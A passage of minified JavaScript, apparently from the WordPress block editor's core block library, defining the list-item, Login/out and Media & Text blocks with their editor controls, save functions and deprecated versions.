x=b(e);if(!x){t(y);return}h(x)?d(x):_(e,x)}else{if(h(e)){d(e);return}let x=a(e);if(x){let S=f(x);_(S,e);return}let k=i(e);(0,iK.isUnmodifiedBlock)(c(e),"content")&&k.length>0?r.batch(()=>{d(i(k[0])),p(e,!0)}):t(y)}}}var hi=o(v(),1);function Qye({clientId:e}){let t=gv(e),r=Zc(),{canIndent:a,canOutdent:n}=(0,sK.useSelect)(i=>{let{getBlockIndex:l,getBlockRootClientId:s,getBlockName:c}=i(Ws.store);return{canIndent:l(e)>0,canOutdent:c(s(s(e)))==="core/list-item"}},[e]);return(0,hi.jsxs)(hi.Fragment,{children:[(0,hi.jsx)(AN.ToolbarButton,{icon:(0,Gs.isRTL)()?z0:V0,title:(0,Gs.__)("Outdent"),shortcut:cK.displayShortcut.shift("Tab"),description:(0,Gs.__)("Outdent list item"),disabled:!n,onClick:()=>r()}),(0,hi.jsx)(AN.ToolbarButton,{icon:(0,Gs.isRTL)()?I9:N9,title:(0,Gs.__)("Indent"),shortcut:"Tab",description:(0,Gs.__)("Indent list item"),disabled:!a,onClick:()=>t()})]})}function uK({attributes:e,setAttributes:t,clientId:r,mergeBlocks:a}){let{placeholder:n,content:i}=e,l=(0,Ws.useBlockProps)(),s=(0,Ws.useInnerBlocksProps)(l,{renderAppender:!1,__unstableDisableDropZone:!0}),c=NN({content:i,clientId:r}),u=DN(r),m=MN(r,a);return(0,hi.jsxs)(hi.Fragment,{children:[(0,hi.jsxs)("li",{...s,children:[(0,hi.jsx)(Ws.RichText,{ref:(0,lK.useMergeRefs)([c,u]),identifier:"content",tagName:"div",onChange:p=>t({content:p}),value:i,"aria-label":(0,Gs.__)("List text"),placeholder:n||(0,Gs.__)("List"),onMerge:m}),s.children]}),(0,hi.jsx)(Ws.BlockControls,{group:"block",children:(0,hi.jsx)(Qye,{clientId:r})})]})}var Sh=o(T(),1),bv=o(v(),1);function mK({attributes:e}){return(0,bv.jsxs)("li",{...Sh.useBlockProps.save(),children:[(0,bv.jsx)(Sh.RichText.Content,{value:e.content}),(0,bv.jsx)(Sh.InnerBlocks.Content,{})]})}var T4=o(U(),1),Yye={to:[{type:"block",blocks:["core/paragraph"],transform:(e,t=[])=>[(0,T4.createBlock)("core/paragraph",e),...t.map(r=>(0,T4.cloneBlock)(r))]}]},pK=Yye;var{fieldsKey:Xye,formKey:Jye}=Z(hK.privateApis),{name:gK}=w4,P4={icon:vT,edit:uK,save:mK,merge(e,t){return{...e,content:e.content+t.content}},transforms:pK,[Z(fK.privateApis).requiresWrapperOnCopy]:!0,__experimentalLabel(e,{context:t}){let{content:r}=e,a=e?.metadata?.name,n=r?.trim().length>0;if(t==="list-view"&&(a||n))return a||r;if(t==="breadcrumb"&&a)return a}};window.__experimentalContentOnlyInspectorFields&&(P4[Xye]=[{id:"content",label:(0,dK.__)("Content"),type:"text",Edit:"rich-text"}],P4[Jye]={fields:["content"]});var e2e=()=>N({name:gK,metadata:w4,settings:P4});var zN={};q(zN,{init:()=>r2e,metadata:()=>I4,name:()=>bK,settings:()=>yK});var B4=o(T(),1),hm=o(A(),1),od=o(I(),1);var gi=o(v(),1);function vK({attributes:e,setAttributes:t}){let{displayLoginAsForm:r,redirectToCurrent:a}=e,n=W();return(0,gi.jsxs)(gi.Fragment,{children:[(0,gi.jsx)(B4.InspectorControls,{children:(0,gi.jsxs)(hm.__experimentalToolsPanel,{label:(0,od.__)("Settings"),resetAll:()=>{t({displayLoginAsForm:!1,redirectToCurrent:!0})},dropdownMenuProps:n,children:[(0,gi.jsx)(hm.__experimentalToolsPanelItem,{label:(0,od.__)("Display login as form"),isShownByDefault:!0,hasValue:()=>r,onDeselect:()=>t({displayLoginAsForm:!1}),children:(0,gi.jsx)(hm.ToggleControl,{label:(0,od.__)("Display login as form"),checked:r,onChange:()=>t({displayLoginAsForm:!r})})}),(0,gi.jsx)(hm.__experimentalToolsPanelItem,{label:(0,od.__)("Redirect to current URL"),isShownByDefault:!0,hasValue:()=>!a,onDeselect:()=>t({redirectToCurrent:!0}),children:(0,gi.jsx)(hm.ToggleControl,{label:(0,od.__)("Redirect to current URL"),checked:a,onChange:()=>t({redirectToCurrent:!a})})})]})}),(0,gi.jsx)("div",{...(0,B4.useBlockProps)({className:"logged-in"}),children:(0,gi.jsx)("a",{href:"#login-pseudo-link",children:(0,od.__)("Log out")})})]})}var I4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/loginout",title:"Login/out",category:"theme",description:"Show login & logout links.",keywords:["login","logout","form"],textdomain:"default",attributes:{displayLoginAsForm:{type:"boolean",default:!1},redirectToCurrent:{type:"boolean",default:!0}},example:{viewportWidth:350},supports:{anchor:!0,className:!0,color:{background:!0,text:!1,gradients:!0,link:!0},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},interactivity:{clientNavigation:!0}},style:"wp-block-loginout"};var{name:bK}=I4,yK={icon:xT,edit:vK},r2e=()=>N({name:bK,metadata:I4,settings:yK});var UN={};q(UN,{init:()=>S2e,metadata:()=>O4,name:()=>OK,settings:()=>H4});var _v=o(I(),1);var FK=o(U(),1);var pr=o(T(),1),VN=o(ue(),1);var xK=o(I(),1),$s="full",yv=15,E4="none",N4="media",D4="attachment",_K=[["core/paragraph",{placeholder:(0,xK._x)("Content\u2026","content placeholder")}]];var Ce=o(v(),1),L4=(e,t)=>e?{backgroundImage:`url(${e})`,backgroundPosition:t?`${t.x*100}% ${t.y*100}%`:"50% 50%"}:{},kK=(e,t)=>e?{backgroundImage:`url(${e})`,backgroundPosition:t?`${Math.round(t.x*100)}% ${Math.round(t.y*100)}%`:"50% 50%"}:{},ad=50,qs=()=>{},wK=e=>{if(!e.customBackgroundColor)return e;let t={color:{background:e.customBackgroundColor}},{customBackgroundColor:r,...a}=e;return{...a,style:t}},Th=e=>e.align?e:{...e,align:"wide"},M4={align:{type:"string",default:"wide"},mediaAlt:{type:"string",source:"attribute",selector:"figure img",attribute:"alt",default:""},mediaPosition:{type:"string",default:"left"},mediaId:{type:"number"},mediaType:{type:"string"},mediaWidth:{type:"number",default:50},isStackedOnMobile:{type:"boolean",default:!1}},FN={...M4,isStackedOnMobile:{type:"boolean",default:!0},mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src"},mediaLink:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure a",attribute:"target"},href:{type:"string",source:"attribute",selector:"figure a",attribute:"href"},rel:{type:"string",source:"attribute",selector:"figure a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure a",attribute:"class"},mediaSizeSlug:{type:"string"},verticalAlignment:{type:"string"},imageFill:{type:"boolean"},focalPoint:{type:"object"}},CK={...FN,mediaAlt:{type:"string",source:"attribute",selector:"figure img",attribute:"alt",default:"",role:"content"},mediaId:{type:"number",role:"content"},mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src",role:"content"},href:{type:"string",source:"attribute",selector:"figure a",attribute:"href",role:"content"},mediaType:{type:"string",role:"content"}},o2e={...CK,align:{type:"string",default:"none"},useFeaturedImage:{type:"boolean",default:!1}},ON={anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0}},SK={...ON,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},a2e={...SK,__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},color:{gradients:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},interactivity:{clientNavigation:!0}},n2e={attributes:o2e,supports:a2e,usesContext:["postId","postType"],save({attributes:e}){let{isStackedOnMobile:t,mediaAlt:r,mediaPosition:a,mediaType:n,mediaUrl:i,mediaWidth:l,mediaId:s,verticalAlignment:c,imageFill:u,focalPoint:m,linkClass:p,href:d,linkTarget:f,rel:h}=e,g=e.mediaSizeSlug||$s,b=h||void 0,y=w({[`wp-image-${s}`]:s&&n==="image",[`size-${g}`]:s&&n==="image"}),_=i?(0,Ce.jsx)("img",{src:i,alt:r,className:y||null}):null;d&&(_=(0,Ce.jsx)("a",{className:p,href:d,target:f,rel:b,children:_}));let x={image:()=>_,video:()=>(0,Ce.jsx)("video",{controls:!0,src:i})},k=w({"has-media-on-the-right":a==="right","is-stacked-on-mobile":t,[`is-vertically-aligned-${c}`]:c,"is-image-fill":u}),S=u?kK(i,m):{},C;l!==ad&&(C=a==="right"?`auto ${l}%`:`${l}% auto`);let E={gridTemplateColumns:C};return a==="right"?(0,Ce.jsxs)("div",{...pr.useBlockProps.save({className:k,style:E}),children:[(0,Ce.jsx)("div",{...pr.useInnerBlocksProps.save({className:"wp-block-media-text__content"})}),(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:S,children:(x[n]||qs)()})]}):(0,Ce.jsxs)("div",{...pr.useBlockProps.save({className:k,style:E}),children:[(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:S,children:(x[n]||qs)()}),(0,Ce.jsx)("div",{...pr.useInnerBlocksProps.save({className:"wp-block-media-text__content"})})]})}},i2e={attributes:CK,supports:SK,save({attributes:e}){let{isStackedOnMobile:t,mediaAlt:r,mediaPosition:a,mediaType:n,mediaUrl:i,mediaWidth:l,mediaId:s,verticalAlignment:c,imageFill:u,focalPoint:m,linkClass:p,href:d,linkTarget:f,rel:h}=e,g=e.mediaSizeSlug||$s,b=h||void 0,y=w({[`wp-image-${s}`]:s&&n==="image",[`size-${g}`]:s&&n==="image"}),_=(0,Ce.jsx)("img",{src:i,alt:r,className:y||null});d&&(_=(0,Ce.jsx)("a",{className:p,href:d,target:f,rel:b,children:_}));let x={image:()=>_,video:()=>(0,Ce.jsx)("video",{controls:!0,src:i})},k=w({"has-media-on-the-right":a==="right","is-stacked-on-mobile":t,[`is-vertically-aligned-${c}`]:c,"is-image-fill":u}),S=u?kK(i,m):{},C;l!==ad&&(C=a==="right"?`auto ${l}%`:`${l}% auto`);let E={gridTemplateColumns:C};return a==="right"?(0,Ce.jsxs)("div",{...pr.useBlockProps.save({className:k,style:E}),children:[(0,Ce.jsx)("div",{...pr.useInnerBlocksProps.save({className:"wp-block-media-text__content"})}),(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:S,children:(x[n]||qs)()})]}):(0,Ce.jsxs)("div",{...pr.useBlockProps.save({className:k,style:E}),children:[(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:S,children:(x[n]||qs)()}),(0,Ce.jsx)("div",{...pr.useInnerBlocksProps.save({className:"wp-block-media-text__content"})})]})},migrate:Th,isEligible(e,t,{block:r}){let{attributes:a}=r;return e.align===void 0&&!!a.className?.includes("alignwide")}},l2e={attributes:FN,supports:ON,save({attributes:e}){let{isStackedOnMobile:t,mediaAlt:r,mediaPosition:a,mediaType:n,mediaUrl:i,mediaWidth:l,mediaId:s,verticalAlignment:c,imageFill:u,focalPoint:m,linkClass:p,href:d,linkTarget:f,rel:h}=e,g=e.mediaSizeSlug||$s,b=h||void 0,y=w({[`wp-image-${s}`]:s&&n==="image",[`size-${g}`]:s&&n==="image"}),_=(0,Ce.jsx)("img",{src:i,alt:r,className:y||null});d&&(_=(0,Ce.jsx)("a",{className:p,href:d,target:f,rel:b,children:_}));let x={image:()=>_,video:()=>(0,Ce.jsx)("video",{controls:!0,src:i})},k=w({"has-media-on-the-right":a==="right","is-stacked-on-mobile":t,[`is-vertically-aligned-${c}`]:c,"is-image-fill":u}),S=u?L4(i,m):{},C;l!==ad&&(C=a==="right"?`auto ${l}%`:`${l}% auto`);let E={gridTemplateColumns:C};return a==="right"?(0,Ce.jsxs)("div",{...pr.useBlockProps.save({className:k,style:E}),children:[(0,Ce.jsx)("div",{...pr.useInnerBlocksProps.save({className:"wp-block-media-text__content"})}),(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:S,children:(x[n]||qs)()})]}):(0,Ce.jsxs)("div",{...pr.useBlockProps.save({className:k,style:E}),children:[(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:S,children:(x[n]||qs)()}),(0,Ce.jsx)("div",{...pr.useInnerBlocksProps.save({className:"wp-block-media-text__content"})})]})},migrate:Th},s2e={attributes:FN,supports:ON,save({attributes:e}){let{isStackedOnMobile:t,mediaAlt:r,mediaPosition:a,mediaType:n,mediaUrl:i,mediaWidth:l,mediaId:s,verticalAlignment:c,imageFill:u,focalPoint:m,linkClass:p,href:d,linkTarget:f,rel:h}=e,g=e.mediaSizeSlug||$s,b=h||void 0,y=w({[`wp-image-${s}`]:s&&n==="image",[`size-${g}`]:s&&n==="image"}),_=(0,Ce.jsx)("img",{src:i,alt:r,className:y||null});d&&(_=(0,Ce.jsx)("a",{className:p,href:d,target:f,rel:b,children:_}));let x={image:()=>_,video:()=>(0,Ce.jsx)("video",{controls:!0,src:i})},k=w({"has-media-on-the-right":a==="right","is-stacked-on-mobile":t,[`is-vertically-aligned-${c}`]:c,"is-image-fill":u}),S=u?L4(i,m):{},C;l!==ad&&(C=a==="right"?`auto ${l}%`:`${l}% auto`);let E={gridTemplateColumns:C};return(0,Ce.jsxs)("div",{...pr.useBlockProps.save({className:k,style:E}),children:[(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:S,children:(x[n]||qs)()}),(0,Ce.jsx)("div",{...pr.useInnerBlocksProps.save({className:"wp-block-media-text__content"})})]})},migrate:Th},c2e={attributes:{...M4,isStackedOnMobile:{type:"boolean",default:!0},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},mediaLink:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure a",attribute:"target"},href:{type:"string",source:"attribute",selector:"figure a",attribute:"href"},rel:{type:"string",source:"attribute",selector:"figure a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure a",attribute:"class"},verticalAlignment:{type:"string"},imageFill:{type:"boolean"},focalPoint:{type:"object"}},migrate:(0,VN.compose)(wK,Th),save({attributes:e}){let{backgroundColor:t,customBackgroundColor:r,isStackedOnMobile:a,mediaAlt:n,mediaPosition:i,mediaType:l,mediaUrl:s,mediaWidth:c,mediaId:u,verticalAlignment:m,imageFill:p,focalPoint:d,linkClass:f,href:h,linkTarget:g,rel:b}=e,y=b||void 0,_=(0,Ce.jsx)("img",{src:s,alt:n,className:u&&l==="image"?`wp-image-${u}`:null});h&&(_=(0,Ce.jsx)("a",{className:f,href:h,target:g,rel:y,children:_}));let x={image:()=>_,video:()=>(0,Ce.jsx)("video",{controls:!0,src:s})},k=(0,pr.getColorClassName)("background-color",t),S=w({"has-media-on-the-right":i==="right","has-background":k||r,[k]:k,"is-stacked-on-mobile":a,[`is-vertically-aligned-${m}`]:m,"is-image-fill":p}),C=p?L4(s,d):{},E;return c!==ad&&(E=i==="right"?`auto ${c}%`:`${c}% auto`),(0,Ce.jsxs)("div",{className:S,style:{backgroundColor:k?void 0:r,gridTemplateColumns:E},children:[(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:C,children:(x[l]||qs)()}),(0,Ce.jsx)("div",{className:"wp-block-media-text__content",children:(0,Ce.jsx)(pr.InnerBlocks.Content,{})})]})}},u2e={attributes:{...M4,backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src"},verticalAlignment:{type:"string"},imageFill:{type:"boolean"},focalPoint:{type:"object"}},migrate:(0,VN.compose)(wK,Th),save({attributes:e}){let{backgroundColor:t,customBackgroundColor:r,isStackedOnMobile:a,mediaAlt:n,mediaPosition:i,mediaType:l,mediaUrl:s,mediaWidth:c,mediaId:u,verticalAlignment:m,imageFill:p,focalPoint:d}=e,f={image:()=>(0,Ce.jsx)("img",{src:s,alt:n,className:u&&l==="image"?`wp-image-${u}`:null}),video:()=>(0,Ce.jsx)("video",{controls:!0,src:s})},h=(0,pr.getColorClassName)("background-color",t),g=w({"has-media-on-the-right":i==="right",[h]:h,"is-stacked-on-mobile":a,[`is-vertically-aligned-${m}`]:m,"is-image-fill":p}),b=p?L4(s,d):{},y;return c!==ad&&(y=i==="right"?`auto ${c}%`:`${c}% auto`),(0,Ce.jsxs)("div",{className:g,style:{backgroundColor:h?void 0:r,gridTemplateColumns:y},children:[(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",style:b,children:(f[l]||qs)()}),(0,Ce.jsx)("div",{className:"wp-block-media-text__content",children:(0,Ce.jsx)(pr.InnerBlocks.Content,{})})]})}},m2e={attributes:{...M4,backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src"}},migrate:Th,save({attributes:e}){let{backgroundColor:t,customBackgroundColor:r,isStackedOnMobile:a,mediaAlt:n,mediaPosition:i,mediaType:l,mediaUrl:s,mediaWidth:c}=e,u={image:()=>(0,Ce.jsx)("img",{src:s,alt:n}),video:()=>(0,Ce.jsx)("video",{controls:!0,src:s})},m=(0,pr.getColorClassName)("background-color",t),p=w({"has-media-on-the-right":i==="right",[m]:m,"is-stacked-on-mobile":a}),d;return c!==ad&&(d=i==="right"?`auto ${c}%`:`${c}% auto`),(0,Ce.jsxs)("div",{className:p,style:{backgroundColor:m?void 0:r,gridTemplateColumns:d},children:[(0,Ce.jsx)("figure",{className:"wp-block-media-text__media",children:(u[l]||qs)()}),(0,Ce.jsx)("div",{className:"wp-block-media-text__content",children:(0,Ce.jsx)(pr.InnerBlocks.Content,{})})]})}},TK=[n2e,i2e,l2e,s2e,c2e,u2e,m2e];var ta=o(I(),1),z4=o(z(),1),V4=o(j(),1),To=o(T(),1),Er=o(A(),1),F4=o(Tr(),1);var xv=o(Y(),1);var Ph=o(A(),1),Zs=o(T(),1),BK=o(I(),1),IK=o(ue(),1),HN=o(z(),1),jN=o(j(),1),R4=o(Tr(),1),EK=o(yr(),1);function A4(e,t){return e?{objectPosition:t?`${Math.round(t.x*100)}% ${Math.round(t.y*100)}%`:"50% 50%"}:{}}var Ca=o(v(),1),NK=["image","video"],p2e=()=>{},d2e=(0,jN.forwardRef)(({isSelected:e,isStackedOnMobile:t,...r},a)=>{let n=(0,IK.useViewportMatch)("small","<");return(0,Ca.jsx)(Ph.ResizableBox,{ref:a,showHandle:e&&(!n||!t),...r})});function f2e({mediaId:e,mediaUrl:t,onSelectMedia:r,toggleUseFeaturedImage:a,useFeaturedImage:n}){return(0,Ca.jsx)(Zs.BlockControls,{group:"other",children:(0,Ca.jsx)(Zs.MediaReplaceFlow,{mediaId:e,mediaURL:t,allowedTypes:NK,onSelect:r,onToggleFeaturedImage:a,useFeaturedImage:n,onReset:()=>r(void 0)})})}function PK({className:e,mediaUrl:t,onSelectMedia:r,toggleUseFeaturedImage:a}){let{createErrorNotice:n}=(0,HN.useDispatch)(EK.store),i=s=>{n(s,{type:"snackbar"})},l=s=>{s.length===1&&r({url:(0,R4.createBlobURL)(s[0])})};return(0,Ca.jsx)(Zs.MediaPlaceholder,{icon:(0,Ca.jsx)(Zs.BlockIcon,{icon:U0}),labels:{title:(0,BK.__)("Media area")},className:e,onSelect:r,onToggleFeaturedImage:a,allowedTypes:NK,onFilesPreUpload:l,onError:i,disableMediaButtons:t})}function h2e(e,t){let{className:r,commitWidthChange:a,focalPoint:n,imageFill:i,isSelected:l,isStackedOnMobile:s,mediaAlt:c,mediaId:u,mediaPosition:m,mediaType:p,mediaUrl:d,mediaWidth:f,onSelectMedia:h,onWidthChange:g,enableResize:b,toggleUseFeaturedImage:y,useFeaturedImage:_,featuredImageURL:x,featuredImageAlt:k,refMedia:S}=e,C=!u&&(0,R4.isBlobURL)(d),{toggleSelection:E}=(0,HN.useDispatch)(Zs.store);if(d||x||_){let B=()=>{E(!1)},D=(P,H,$)=>{g(parseInt($.style.width))},M=(P,H,$)=>{E(!0),a(parseInt($.style.width))},O={right:b&&m==="left",left:b&&m==="right"},R=p==="image"&&i?A4(d||x,n):{},F={image:()=>_&&x?(0,Ca.jsx)("img",{ref:S,src:x,alt:k,style:R}):d&&(0,Ca.jsx)("img",{ref:S,src:d,alt:c,style:R}),video:()=>(0,Ca.jsx)("video",{controls:!0,ref:S,src:d})};return(0,Ca.jsxs)(d2e,{as:"figure",className:w(r,"editor-media-container__resizer",{"is-transient":C}),size:{width:f+"%"},minWidth:"10%",maxWidth:"100%",enable:O,onResizeStart:B,onResize:D,onResizeStop:M,axis:"x",isSelected:l,isStackedOnMobile:s,ref:t,children:[(0,Ca.jsx)(f2e,{onSelectMedia:h,mediaUrl:_&&x?x:d,mediaId:u,toggleUseFeaturedImage:y,useFeaturedImage:_}),(F[p]||p2e)(),C&&(0,Ca.jsx)(Ph.Spinner,{}),!_&&(0,Ca.jsx)(PK,{...e}),!x&&_&&(0,Ca.jsx)(Ph.Placeholder,{className:"wp-block-media-text--placeholder-image",style:R,withIllustration:!0})]})}return(0,Ca.jsx)(PK,{...e})}var DK=(0,jN.forwardRef)(h2e);var mt=o(v(),1),{ResolutionTool:g2e}=Z(To.privateApis),LK=e=>Math.max(yv,Math.min(e,100-yv));function MK(e,t){return e?.media_details?.sizes?.[t]?.source_url}function v2e({attributes:{linkDestination:e,href:t},setAttributes:r}){return a=>{if(!a||!a.url){r({mediaAlt:void 0,mediaId:void 0,mediaType:void 0,mediaUrl:void 0,mediaLink:void 0,href:void 0,focalPoint:void 0,useFeaturedImage:!1});return}(0,F4.isBlobURL)(a.url)&&(a.type=(0,F4.getBlobTypeByURL)(a.url));let n,i;a.media_type?a.media_type==="image"?n="image":n="video":n=a.type,n==="image"&&(i=a.sizes?.large?.url||a.media_details?.sizes?.large?.source_url);let l=e,s=t;if(n==="image"){if(!l)switch(window?.wp?.media?.view?.settings?.defaultProps?.link||E4){case"file":case N4:l=N4;break;case"post":case D4:l=D4;break;case E4:default:l=E4;break}switch(l){case N4:s=a.url;break;case D4:s=a.link;break}}r({mediaAlt:a.alt,mediaId:a.id,mediaType:n,mediaUrl:i||a.url,mediaLink:a.link||void 0,href:s,linkDestination:l,focalPoint:void 0,useFeaturedImage:!1})}}function b2e({image:e,value:t,onChange:r}){let{imageSizes:a}=(0,z4.useSelect)(i=>{let{getSettings:l}=i(To.store);return{imageSizes:l().imageSizes}},[]);if(!a?.length)return null;let n=a.filter(({slug:i})=>MK(e,i)).map(({name:i,slug:l})=>({value:l,label:i}));return(0,mt.jsx)(g2e,{value:t,defaultValue:$s,options:n,onChange:r})}function y2e({attributes:e,isSelected:t,setAttributes:r,context:{postId:a,postType:n}}){let{focalPoint:i,href:l,imageFill:s,isStackedOnMobile:c,linkClass:u,linkDestination:m,linkTarget:p,mediaAlt:d,mediaId:f,mediaPosition:h,mediaType:g,mediaUrl:b,mediaWidth:y,mediaSizeSlug:_,rel:x,verticalAlignment:k,allowedBlocks:S,useFeaturedImage:C}=e,[E]=(0,xv.useEntityProp)("postType",n,"featured_media",a),{featuredImageMedia:B}=(0,z4.useSelect)(re=>({featuredImageMedia:E&&C?re(xv.store).getEntityRecord("postType","attachment",E,{context:"view"}):void 0}),[E,C]),{image:D}=(0,z4.useSelect)(re=>({image:f&&t?re(xv.store).getEntityRecord("postType","attachment",f,{context:"view"}):null}),[t,f]),M=C?B?.source_url:"",O=C?B?.alt_text:"",R=()=>{r({imageFill:!1,mediaType:"image",mediaId:void 0,mediaUrl:void 0,mediaAlt:void 0,mediaLink:void 0,linkDestination:void 0,linkTarget:void 0,linkClass:void 0,rel:void 0,href:void 0,useFeaturedImage:!C})},F=(0,V4.useRef)(),P=re=>{let{style:fe}=F.current,{x:rt,y:tt}=re;fe.objectPosition=`${rt*100}% ${tt*100}%`},[H,$]=(0,V4.useState)(null),V=v2e({attributes:e,setAttributes:r}),G=re=>{r(re)},K=re=>{$(LK(re))},X=re=>{r({mediaWidth:LK(re)}),$(null)},ee=w({"has-media-on-the-right":h==="right","is-selected":t,"is-stacked-on-mobile":c,[`is-vertically-aligned-${k}`]:k,"is-image-fill-element":s}),ne=`${H||y}%`,J=h==="right"?`1fr ${ne}`:`${ne} 1fr`,oe={gridTemplateColumns:J,msGridColumns:J},ie=re=>{r({mediaAlt:re})},le=re=>{r({verticalAlignment:re})},de=re=>{let fe=MK(D,re);if(!fe)return null;r({mediaUrl:fe,mediaSizeSlug:re})},Ve=W(),Ne=(0,mt.jsxs)(Er.__experimentalToolsPanel,{label:(0,ta.__)("Settings"),resetAll:()=>{r({isStackedOnMobile:!0,imageFill:!1,mediaAlt:"",focalPoint:void 0,mediaWidth:50}),de($s)},dropdownMenuProps:Ve,children:[(0,mt.jsx)(Er.__experimentalToolsPanelItem,{label:(0,ta.__)("Media width"),isShownByDefault:!0,hasValue:()=>y!==50,onDeselect:()=>r({mediaWidth:50}),children:(0,mt.jsx)(Er.RangeControl,{__next40pxDefaultSize:!0,label:(0,ta.__)("Media width"),value:H||y,onChange:X,min:yv,max:100-yv})}),(0,mt.jsx)(Er.__experimentalToolsPanelItem,{label:(0,ta.__)("Stack on mobile"),isShownByDefault:!0,hasValue:()=>!c,onDeselect:()=>r({isStackedOnMobile:!0}),children:(0,mt.jsx)(Er.ToggleControl,{label:(0,ta.__)("Stack on mobile"),checked:c,onChange:()=>r({isStackedOnMobile:!c})})}),g==="image"&&(0,mt.jsx)(Er.__experimentalToolsPanelItem,{label:(0,ta.__)("Crop image to fill"),isShownByDefault:!0,hasValue:()=>!!s,onDeselect:()=>r({imageFill:!1}),children:(0,mt.jsx)(Er.ToggleControl,{label:(0,ta.__)("Crop image to fill"),checked:!!s,onChange:()=>r({imageFill:!s})})}),s&&(b||M)&&g==="image"&&(0,mt.jsx)(Er.__experimentalToolsPanelItem,{label:(0,ta.__)("Focal point"),isShownByDefault:!0,hasValue:()=>!!i,onDeselect:()=>r({focalPoint:void 0}),children:(0,mt.jsx)(Er.FocalPointPicker,{label:(0,ta.__)("Focal point"),url:C&&M?M:b,value:i,onChange:re=>r({focalPoint:re}),onDragStart:P,onDrag:P})}),g==="image"&&b&&!C&&(0,mt.jsx)(Er.__experimentalToolsPanelItem,{label:(0,ta.__)("Alternative text"),isShownByDefault:!0,hasValue:()=>!!d,onDeselect:()=>r({mediaAlt:""}),children:(0,mt.jsx)(Er.TextareaControl,{label:(0,ta.__)("Alternative text"),value:d,onChange:ie,help:(0,mt.jsxs)(mt.Fragment,{children:[(0,mt.jsx)(Er.ExternalLink,{href:(0,ta.__)("https://www.w3.org/WAI/tutorials/images/decision-tree/"),children:(0,ta.__)("Describe the purpose of the image.")}),(0,mt.jsx)("br",{}),(0,ta.__)("Leave empty if decorative.")]})})}),g==="image"&&!C&&(0,mt.jsx)(b2e,{image:D,value:_,onChange:de})]}),ae=(0,To.useBlockProps)({className:ee,style:oe}),Be=(0,To.useInnerBlocksProps)({className:"wp-block-media-text__content"},{template:_K,allowedBlocks:S}),Ae=(0,To.useBlockEditingMode)();return(0,mt.jsxs)(mt.Fragment,{children:[(0,mt.jsx)(To.InspectorControls,{children:Ne}),(0,mt.jsxs)(To.BlockControls,{group:"block",children:[Ae==="default"&&(0,mt.jsxs)(mt.Fragment,{children:[(0,mt.jsx)(To.BlockVerticalAlignmentControl,{onChange:le,value:k}),(0,mt.jsx)(Er.ToolbarButton,{icon:wP,title:(0,ta.__)("Show media on left"),isActive:h==="left",onClick:()=>r({mediaPosition:"left"})}),(0,mt.jsx)(Er.ToolbarButton,{icon:SP,title:(0,ta.__)("Show media on right"),isActive:h==="right",onClick:()=>r({mediaPosition:"right"})})]}),g==="image"&&!C&&(0,mt.jsx)(To.__experimentalImageURLInputUI,{url:l||"",onChangeUrl:G,linkDestination:m,mediaType:g,mediaUrl:D&&D.source_url,mediaLink:D&&D.link,linkTarget:p,linkClass:u,rel:x})]}),(0,mt.jsxs)("div",{...ae,children:[h==="right"&&(0,mt.jsx)("div",{...Be}),(0,mt.jsx)(DK,{className:"wp-block-media-text__media",onSelectMedia:V,onWidthChange:K,commitWidthChange:X,refMedia:F,enableResize:Ae==="default",toggleUseFeaturedImage:R,focalPoint:i,imageFill:s,isSelected:t,isStackedOnMobile:c,mediaAlt:d,mediaId:f,mediaPosition:h,mediaType:g,mediaUrl:b,mediaWidth:y,useFeaturedImage:C,featuredImageURL:M,featuredImageAlt:O}),h!=="right"&&(0,mt.jsx)("div",{...Be})]})]})}var AK=y2e;var O4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/media-text",title:"Media & Text",category:"media",description:"Set media and words side-by-side for a richer layout.",keywords:["image","video"],textdomain:"default",attributes:{align:{type:"string",default:"none"},mediaAlt:{type:"string",source:"attribute",selector:"figure img",attribute:"alt",default:"",role:"content"},mediaPosition:{type:"string",default:"left"},mediaId:{type:"number",role:"content"},mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src",role:"content"},mediaLink:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure a",attribute:"target"},href:{type:"string",source:"attribute",selector:"figure a",attribute:"href",role:"content"},rel:{type:"string",source:"attribute",selector:"figure a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure 